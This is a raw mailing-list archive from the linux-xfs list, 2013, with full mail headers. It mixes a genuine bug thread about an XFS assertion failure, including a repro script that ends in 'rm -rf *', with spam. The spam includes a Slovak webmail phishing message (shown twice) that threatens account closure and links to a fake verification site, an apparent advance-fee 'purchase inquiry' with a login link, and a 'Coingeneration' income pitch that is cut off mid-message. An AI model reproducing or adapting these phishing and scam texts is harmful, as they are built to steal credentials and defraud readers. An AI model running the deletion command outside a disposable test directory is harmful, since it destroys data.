03:25:07 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 2C5DC8F8035 for ; Sun, 15 Sep 2013 01:25:04 -0700 (PDT) X-ASG-Debug-ID: 1379233503-04cb6c153d1039670001-w1Z2WR Received: from admin.maxareality.sk (admin.maxareality.sk [109.74.145.15]) by cuda.sgi.com with ESMTP id wg9sC7PepX7ritgN for ; Sun, 15 Sep 2013 01:25:03 -0700 (PDT) X-Barracuda-Envelope-From: info@maxareality.sk X-Barracuda-Apparent-Source-IP: 109.74.145.15 Received: from localhost (localhost [127.0.0.1]) by admin.maxareality.sk (Postfix) with ESMTP id 1F7BE12C0433; Sun, 15 Sep 2013 10:25:02 +0200 (CEST) X-Virus-Scanned: Debian amavisd-new at maxareality.sk Received: from admin.maxareality.sk ([127.0.0.1]) by localhost (MAXAreality.maxareality.sk [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id L7iASER8BJQc; Sun, 15 Sep 2013 10:25:01 +0200 (CEST) Received: from mail.maxareality.sk (localhost [127.0.0.1]) by admin.maxareality.sk (Postfix) with ESMTP id B814512C030A; Sun, 15 Sep 2013 10:21:40 +0200 (CEST) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Date: Sun, 15 Sep 2013 10:21:40 +0200 From: WEBMAIL UPDATE 2013 To: undisclosed-recipients:; Subject: =?UTF-8?Q?V=C3=A1=C5=BEen=C3=AD=20E-mail=20u=C5=BE=C3=ADvate=C4=BEa=3B?= Message-ID: <7e981f3e117212bee9b27a727607a2e9@127.0.0.1> X-ASG-Orig-Subj: =?UTF-8?Q?V=C3=A1=C5=BEen=C3=AD=20E-mail=20u=C5=BE=C3=ADvate=C4=BEa=3B?= X-Sender: info@maxareality.sk User-Agent: RoundCube Webmail/0.3.1 X-Barracuda-Connect: admin.maxareality.sk[109.74.145.15] X-Barracuda-Start-Time: 1379233503 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.50 X-Barracuda-Spam-Status: No, SCORE=2.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA074, BSF_SC3_MV0164 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140619 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.50 BSF_SC0_SA074 URI: Custom Rule SA074 2.00 BSF_SC3_MV0164 Custom rule MV0164 -- Vážení E-mail užívateľa; Prekročili ste 23432 boxy nastaviť svoje Webová služba / Administrátor, a budete mať problémy pri odosielaní a prijímať e-maily, kým znova overiť. Musíte aktualizovať kliknutím na odkaz nižšie a vyplňte údaje pre overenie vášho účtu Prosím, kliknite na odkaz nižšie alebo skopírovať vložiť do e-prehliadač pre overenie Schránky. http://webmailupdate1022021.jimdo.com/ Pozor! Ak tak neurobíte, budú mať obmedzený prístup k e-mailu schránky. Ak sa nepodarí aktualizovať svoj účet do troch dní od aktualizácie oznámenia, bude váš účet natrvalo uzavretá. S pozdravom, System Administrator ® From Aisulu.Amanzholova@fses.uniba.sk Sun Sep 15 10:32:07 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,MIME_QP_LONG_LINE autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 908A57F37 for ; Sun, 15 Sep 2013 10:32:07 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 04C31AC001 for ; Sun, 15 Sep 2013 08:32:06 -0700 (PDT) X-ASG-Debug-ID: 1379259123-04cb6c37771eed30001-w1Z2WR Received: from mailcheck.uniba.sk (mailcheck.uniba.sk [158.195.6.92]) by cuda.sgi.com with ESMTP id 1hAbqfDQtFE1QL0O for ; Sun, 15 Sep 2013 08:32:04 -0700 (PDT) X-Barracuda-Envelope-From: Aisulu.Amanzholova@fses.uniba.sk X-Barracuda-Apparent-Source-IP: 158.195.6.92 Received: from localhost (localhost [127.0.0.1]) by mailcheck.uniba.sk (Postfix) with ESMTP id 3E6E575BFD; Sun, 15 Sep 2013 17:31:43 +0200 (CEST) X-Virus-Scanned: Debian amavisd-new at uniba.sk Received: from mailcheck.uniba.sk ([127.0.0.1]) by localhost (mailcheck.uniba.sk [127.0.0.1]) (amavisd-new, port 10025) with LMTP id Qk91qcHb9YyV; Sun, 15 Sep 2013 17:31:37 +0200 (CEST) Received: from mailroot.uniba.sk (unknown [158.195.6.84]) (Authenticated sender: rukmail) by mailcheck.uniba.sk (Postfix) with ESMTPA id EE92C75C61; Sun, 15 Sep 2013 17:22:52 +0200 (CEST) Received: from postar.rec.uniba.sk ([158.195.4.4]) by mailroot.uniba.sk with Microsoft SMTPSVC(6.0.3790.1830); Sun, 15 Sep 2013 17:22:52 +0200 X-MimeOLE: Produced By Microsoft Exchange V6.5 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01CEB227.70F69662" Subject: =?iso-8859-1?Q?RE=3A_System_Administrator_=AE?= Date: Sun, 15 Sep 2013 17:19:03 +0200 X-ASG-Orig-Subj: =?iso-8859-1?Q?RE=3A_System_Administrator_=AE?= Message-ID: <85E0009797EAFB44A41263E6BA79ECDA012D41CE@postar.rec.uniba.sk> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: =?iso-8859-1?Q?System_Administrator_=AE?= Thread-Index: Ac6yJo9IPozIDA//QYOlDl0WLE6W4wAAFo4L References: <85E0009797EAFB44A41263E6BA79ECDA012D416C@postar.rec.uniba.sk> From: "Amanzholova, Aisulu" To: "Amanzholova, Aisulu" X-OriginalArrivalTime: 15 Sep 2013 15:22:52.0615 (UTC) FILETIME=[71FC4570:01CEB227] X-Barracuda-Connect: mailcheck.uniba.sk[158.195.6.92] X-Barracuda-Start-Time: 1379259124 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.84 X-Barracuda-Spam-Status: No, SCORE=1.84 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC0_SA074, BSF_SC0_SA_TO_FROM_ADDR_MATCH, HTML_MESSAGE, MIME_QP_LONG_LINE, MIME_QP_LONG_LINE_2, THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140626 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.50 BSF_SC0_SA074 URI: Custom Rule SA074 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 MIME_QP_LONG_LINE RAW: Quoted-printable line longer than 76 chars 0.82 MIME_QP_LONG_LINE_2 RAW: Quoted-printable line longer than 76 chars 0.50 BSF_SC0_SA_TO_FROM_ADDR_MATCH Sender Address Matches Recipient Address This is a multi-part message in MIME format. ------_=_NextPart_001_01CEB227.70F69662 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable V=E1zen=ED E-mail uz=EDvatela; Prekrocili ste 23432 boxy nastavit svoje Webov=E1 sluzba / Administr=E1tor, a budete mat probl=E9my pri = odosielan=ED a prij=EDmat e-maily, k=FDm znova overit. Mus=EDte aktualizovat = kliknut=EDm na odkaz nizsie a vyplnte =FAdaje pre overenie v=E1sho =FActu Pros=EDm, kliknite na odkaz nizsie alebo skop=EDrovat vlozit do e-prehliadac pre overenie Schr=E1nky. http://webmailupdate1022021.jimdo.com/ Pozor! Ak tak neurob=EDte, bud=FA mat obmedzen=FD pr=EDstup k e-mailu = schr=E1nky. Ak sa nepodar=ED aktualizovat svoj =FAcet do troch dn=ED od aktualiz=E1cie ozn=E1menia, bude v=E1s =FAcet natrvalo uzavret=E1. S pozdravom, System Administrator =AE ------_=_NextPart_001_01CEB227.70F69662 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable =0A= =0A= =0A= =0A=
=0A=
V=E1žen=ED E-mail už=EDvateľa;
=0A=
=0A=

Prekročili ste 23432 boxy nastaviť svoje
Webov=E1 = služba / Administr=E1tor, a budete mať probl=E9my pri = odosielan=ED a
prij=EDmať e-maily, k=FDm znova overiť. = Mus=EDte aktualizovať kliknut=EDm na
odkaz nižšie a = vyplňte =FAdaje pre overenie v=E1šho =FAčtu
Pros=EDm, = kliknite na odkaz nižšie alebo skop=EDrovať = vložiť do
e-prehliadač pre overenie Schr=E1nky.

=0A=

http://webmailupdate10220= 21.jimdo.com/

=0A=

Pozor!
Ak tak neurob=EDte, bud=FA mať obmedzen=FD pr=EDstup k = e-mailu schr=E1nky. Ak
sa
nepodar=ED aktualizovať svoj = =FAčet do troch dn=ED od aktualiz=E1cie
ozn=E1menia,
bude = v=E1š =FAčet natrvalo uzavret=E1.
S pozdravom,
System = Administrator =AE

------_=_NextPart_001_01CEB227.70F69662-- From megalinespurecompany@yahoo.com Sun Sep 15 14:43:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: **** X-Spam-Status: No, score=4.4 required=5.0 tests=DEAR_SOMETHING, FORGED_YAHOO_RCVD,FREEMAIL_FROM autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 85EB67F37 for ; Sun, 15 Sep 2013 14:43:38 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 745D2304032 for ; Sun, 15 Sep 2013 12:43:35 -0700 (PDT) X-ASG-Debug-ID: 1379274213-04cb6c37771fa660001-w1Z2WR Received: from defender.whspn.net (defender.whspn.net [64.119.182.88]) by cuda.sgi.com with ESMTP id BRpWbi7quLvGAuhw (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 15 Sep 2013 12:43:33 -0700 (PDT) X-Barracuda-Envelope-From: megalinespurecompany@yahoo.com X-Barracuda-Apparent-Source-IP: 64.119.182.88 Received: from localhost.localdomain ([127.0.0.1]:36229 helo=webmail.pkmeat.com) by defender.whspn.net with esmtpa (Exim 4.80.1) (envelope-from ) id 1VLIBa-0001Dj-2g; Sun, 15 Sep 2013 13:40:46 -0600 Received: from 41.190.2.36 ([41.190.2.36]) (proxying for 41.190.2.36) (SquirrelMail authenticated user basit@pkmeat.com) by webmail.pkmeat.com with HTTP; Sun, 15 Sep 2013 13:40:46 -0600 Message-ID: <2c8402947ad654b04e911f8d26415410.squirrel@webmail.pkmeat.com> Date: Sun, 15 Sep 2013 13:40:46 -0600 Subject: purchase inquiry From: "shady peters" X-ASG-Orig-Subj: purchase inquiry Reply-To: megalinespurecompany@yahoo.com User-Agent: SquirrelMail/1.4.22 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - defender.whspn.net X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - yahoo.com X-Get-Message-Sender-Via: defender.whspn.net: authenticated_id: basit@pkmeat.com X-Barracuda-Connect: defender.whspn.net[64.119.182.88] X-Barracuda-Start-Time: 1379274213 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.62 X-Barracuda-Spam-Status: No, SCORE=2.62 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=ADVANCE_FEE_1, FORGED_YAHOO_RCVD, FORGED_YAHOO_RCVD_2, MISSING_HEADERS, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140632 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers 1.21 MISSING_HEADERS Missing To: header 0.00 TO_CC_NONE No To: or Cc: header 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) 1.41 FORGED_YAHOO_RCVD_2 'From' yahoo.com does not match 'Received' headers To: undisclosed-recipients:; Dear sir/ma, We have received your contact information through an internet base where it is published that you are dealing with the best of good quality products.We are glad to say that we are interested in purchasing your product,to have a long term business co-operation with you company and will be glad if you can login into our placement website to view the product specification and quantity which we need from you and also send to us your best catalog,FOB price list together with necessary details needed for our placement order to you.website http://peter-group.jigsy.com we hope to see your reply soon. Best regard, Mr. Shady Peters Email:megalinespurecompany@yahoo.com From BATV+e54d9433681fbc5a28a3+3676+infradead.org+hch@bombadil.srs.infradead.org Mon Sep 16 10:44:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9ED7F7F3F for ; Mon, 16 Sep 2013 10:44:33 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 24F76AC003 for ; Mon, 16 Sep 2013 08:44:33 -0700 (PDT) X-ASG-Debug-ID: 1379346264-04cb6c377723a670001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id 5mTqISV6eP2dzTO0 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Mon, 16 Sep 2013 08:44:25 -0700 (PDT) X-Barracuda-Envelope-From: BATV+e54d9433681fbc5a28a3+3676+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VLayO-00008r-0p; Mon, 16 Sep 2013 15:44:24 +0000 Date: Mon, 16 Sep 2013 08:44:23 -0700 From: Christoph Hellwig To: Mark Tinguely Cc: Brian Foster , xfs@oss.sgi.com Subject: Re: XFS: Assertion failed: first <= last && last < BBTOB(bp->b_length), file: fs/xfs/xfs_trans_buf.c, line: 568 Message-ID: <20130916154423.GA455@infradead.org> X-ASG-Orig-Subj: Re: XFS: Assertion failed: first <= last && last < BBTOB(bp->b_length), file: fs/xfs/xfs_trans_buf.c, line: 568 References: <52165830.8050006@redhat.com> <52325369.1070001@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52325369.1070001@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1379346265 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140658 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Thu, Sep 12, 2013 at 06:51:05PM -0500, Mark Tinguely wrote: > The secret to tripping over the bug is run the test until fsstress > fills the filesystem before removing the files. So an error > handling? > > I use the test: > > #!/bin/sh > > ltp/fsstress -z -s 1378390208 -fsymlink=1 -n9999999 -p4 -d /test2 > cd /test2 > sync > rm -rf * > > If your filesystem is smaller, decrease the -n to make the test faster. > > I have still not gotten a core, though Michael Semon sent one. It would be useful if we could wire this up for xfstests From tinguely@sgi.com Mon Sep 16 12:30:56 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4A6FB7F3F for ; Mon, 16 Sep 2013 12:30:56 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id D4C3F8F8064; Mon, 16 Sep 2013 10:30:51 -0700 (PDT) Message-ID: <5237404B.3010309@sgi.com> Date: Mon, 16 Sep 2013 12:30:51 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Christoph Hellwig CC: Brian Foster , xfs@oss.sgi.com Subject: Re: XFS: Assertion failed: first <= last && last < BBTOB(bp->b_length), file: fs/xfs/xfs_trans_buf.c, line: 568 References: <52165830.8050006@redhat.com> <52325369.1070001@sgi.com> <20130916154423.GA455@infradead.org> In-Reply-To: <20130916154423.GA455@infradead.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/16/13 10:44, Christoph Hellwig wrote: > On Thu, Sep 12, 2013 at 06:51:05PM -0500, Mark Tinguely wrote: >> The secret to tripping over the bug is run the test until fsstress >> fills the filesystem before removing the files. So an error >> handling? >> >> I use the test: >> >> #!/bin/sh >> >> ltp/fsstress -z -s 1378390208 -fsymlink=1 -n9999999 -p4 -d /test2 >> cd /test2 >> sync >> rm -rf * >> >> If your filesystem is smaller, decrease the -n to make the test faster. >> >> I have still not gotten a core, though Michael Semon sent one. > > It would be useful if we could wire this up for xfstests > Nod --Mark. From mlsemon35@gmail.com Mon Sep 16 12:41:58 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8A21E7F3F for ; Mon, 16 Sep 2013 12:41:58 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6E29B304039 for ; Mon, 16 Sep 2013 10:41:55 -0700 (PDT) X-ASG-Debug-ID: 1379353314-04cbb02c3e10a4940001-NocioJ Received: from mail-qe0-f53.google.com (mail-qe0-f53.google.com [209.85.128.53]) by cuda.sgi.com with ESMTP id OVpkjud1OuP0CK1N (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 16 Sep 2013 10:41:54 -0700 (PDT) X-Barracuda-Envelope-From: mlsemon35@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.128.53 X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.53] Received: by mail-qe0-f53.google.com with SMTP id jy17so2938801qeb.40 for ; Mon, 16 Sep 2013 10:41:53 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.53] X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.53] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=iX6F0GByRY2yk6MWPh9Xeo+IaSbrwUL5b5jBAN/345I=; b=WzFP68wyckY3Kkd0swA8fz06ufmIm7UO/82Fxok2KeXBXELgUrzGOZCv4ZpYSnfAWf L72xXCT4rpON0XKKAf90Zl+WIb+RWptNqs4en+MvGRPmyknZ9KYtuGcYLomT5YyFzTqI utn6NdkWMFFD55EqqofxHzYBVpH6A71CgO44gmEyDCGVvVNyFBQKN6LOKSCuxlPW52Jk MVcvR94C50EcILUVgH9cYjkVgZ+rj8u54SQAbLB+zCuRm1GtpIPj7gqjcOpDEfzpOL3G MvtrEPMti8V/fj2Mgux0qbBuIzq4uj6Elr+HrX9Qrq3624/guW7gmkr1Za6gcuOtjwrJ qytA== MIME-Version: 1.0 X-Received: by 10.224.80.134 with SMTP id t6mr731842qak.48.1379353313934; Mon, 16 Sep 2013 10:41:53 -0700 (PDT) Received: by 10.140.87.235 with HTTP; Mon, 16 Sep 2013 10:41:53 -0700 (PDT) In-Reply-To: <20130916154423.GA455@infradead.org> References: <52165830.8050006@redhat.com> <52325369.1070001@sgi.com> <20130916154423.GA455@infradead.org> Date: Mon, 16 Sep 2013 13:41:53 -0400 Message-ID: Subject: Re: XFS: Assertion failed: first <= last && last < BBTOB(bp->b_length), file: fs/xfs/xfs_trans_buf.c, line: 568 From: "Michael L. Semon" X-ASG-Orig-Subj: Re: XFS: Assertion failed: first <= last && last < BBTOB(bp->b_length), file: fs/xfs/xfs_trans_buf.c, line: 568 To: Christoph Hellwig Cc: Mark Tinguely , Brian Foster , "xfs@oss.sgi.com" Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-qe0-f53.google.com[209.85.128.53] X-Barracuda-Start-Time: 1379353314 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140663 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Mon, Sep 16, 2013 at 11:44 AM, Christoph Hellwig wrote: > On Thu, Sep 12, 2013 at 06:51:05PM -0500, Mark Tinguely wrote: >> The secret to tripping over the bug is run the test until fsstress >> fills the filesystem before removing the files. So an error >> handling? >> >> I use the test: >> >> #!/bin/sh >> >> ltp/fsstress -z -s 1378390208 -fsymlink=1 -n9999999 -p4 -d /test2 >> cd /test2 >> sync >> rm -rf * >> >> If your filesystem is smaller, decrease the -n to make the test faster. >> >> I have still not gotten a core, though Michael Semon sent one. > > It would be useful if we could wire this up for xfstests Just set it up accurately because it takes a long time. It takes a while to create the links. Additionally, fsstress will keep iterating after the FS is full, and all those extra iterations take time. In testing on x86, Brian's test will succeed in 10 GB but fail in 11 GB. I don't know if that is the case on x86_64 as well. After the failure case is met and the rm operation hits the assert, continued mount-and-rm operations will also cause the assert to fire, without needing to fill the FS with links again. I don't know when that "bonus condition" stops happening. xfs_repair makes matters worse, IIRC. That's about all I can add. Thanks! Michael From info@selezionatiperte.it Mon Sep 16 13:12:01 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8A14A7F3F for ; Mon, 16 Sep 2013 13:12:01 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 080C7304039 for ; Mon, 16 Sep 2013 11:11:57 -0700 (PDT) X-ASG-Debug-ID: 1379355111-04bdf0538717a050001-NocioJ Received: from srv-hp7.netsons.net (srv-hp7.netsons.net [94.141.22.68]) by cuda.sgi.com with ESMTP id 7FCrpxwLBwBOVPIv (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 16 Sep 2013 11:11:53 -0700 (PDT) X-Barracuda-Envelope-From: info@selezionatiperte.it X-Barracuda-Apparent-Source-IP: 94.141.22.68 Received: from 2-238-43-243.ip242.fastwebnet.it ([2.238.43.243]:1295) by srv-hp7.netsons.net with esmtpsa (TLSv1:DHE-RSA-AES256-SHA:256) (Exim 4.80.1) (envelope-from ) id 1VLdGx-002UdN-E9 for xfs@oss.sgi.com; Mon, 16 Sep 2013 20:11:48 +0200 MIME-Version: 1.0 From: "Sergio" Reply-To: info@selezionatiperte.it To: xfs@oss.sgi.com Subject: Earn with Coingeneration Content-Type: multipart/related; type="multipart/alternative"; boundary="----=_NextPart_001_4300_3FF845BC.229D54DE" X-ASG-Orig-Subj: Earn with Coingeneration X-Mailer: Default Date: Mon, 16 Sep 2013 20:12:24 +0200 Message-ID: <3281927926962690823125@VAIO> X-Antivirus: avast! (VPS 130916-0, 16/09/2013), Outbound message X-Antivirus-Status: Clean X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - srv-hp7.netsons.net X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - selezionatiperte.it X-Get-Message-Sender-Via: srv-hp7.netsons.net: authenticated_id: info@selezionatiperte.it X-Source: X-Source-Args: X-Source-Dir: X-Barracuda-Connect: srv-hp7.netsons.net[94.141.22.68] X-Barracuda-Start-Time: 1379355112 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-BRTS-Evidence: selezionatiperte.it X-Barracuda-Spam-Score: 0.50 X-Barracuda-Spam-Status: No, SCORE=0.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085, BSF_SC0_SA090e, EXTRA_MPART_TYPE, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140664 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 EXTRA_MPART_TYPE Header has extraneous Content-type:...type= entry 0.00 HTML_MESSAGE BODY: HTML included in message 0.40 BSF_SC0_SA090e Custom Rule SA090e 0.10 BSF_SC0_SA085 Custom Rule SA085 ------=_NextPart_001_4300_3FF845BC.229D54DE Content-Type: multipart/alternative; boundary="----=_NextPart_002_4300_3FF845BC.229D54DE" ------=_NextPart_002_4300_3FF845BC.229D54DE Content-Type: text/plain; charset="windows-1252" Content-Transfer-Encoding: quoted-printable Take part in a world wide project, and receive daily income as a bonus! We are a private international organization. Our main mission is to expand the limits of possibility. Our goal is to create the most powerful super computer in the world by comb= ining the computational power of all computers (this type of computer is us= ed in climate modeling, calculating satellite orbits, bio-mechanics and oth= er areas) What do we need a super computer for=3F We are supporting this interesting and unusual project so that it has the c= hance to make life on our planet more comfortable and safer.=20 Our main goals are to provide financial support for cutting edge practical = research, support developments that for one reason or another will disrupt = the status quo (such as alternative fuels or facial recognition software) a= nd to provide support to talented scientists and geniuses.=20 This is needed for us now, our children will need it in the future, and the= entire planet will benefit in the future! What we propose: 1Firstly We propose a working relationship where interaction between participants is= both natural and relaxed, and reinforced by confidence in the experience a= nd general competence of the management process.=20 We will draw strength for new achievement and progress from the thoroughnes= s and optimism of participants in the project.=20 We invite you to become one of us, become a strong member of our team, move= forward, and only forward, with us!=20 Success loves progress! 2Secondly We offer you to use the full potential of your computer, which as a rule is= nt used as it should be.=20 Every day, in every home with an internet connection cyber-power is wasted,= with out benefiting either society or the owner of the computer.=20 And you can see that the cyber-power of modern technology is so great that = not using this potential is a tragic waste.=20 We propose using this strength, including using it for development. 3Thirdly We offer you the ability to become a participant in a great, in terms of co= ncept and execution.=20 You will also automatically become a full partner of the project. Just imagine what could happen if your mobile stopped needing a recharger a= nd worked forever with out charging=3F=20 Perhaps you think this is magic=3F It isnt...think of all the things that h= ave become reality that earlier were thought to be fantasy=3F=20 You must have, at some point, asked the question why, in our high-tech cent= ury, we cant create an alternative fuel=3F.=20 Well give you the answer to the question-The world economy has already been= mired in energy intrigue.=20 The race for resources has become the biggest priority for every government= in the world, therefore most of the discoveries and developments have been= blocked or suppressed by governments.=20 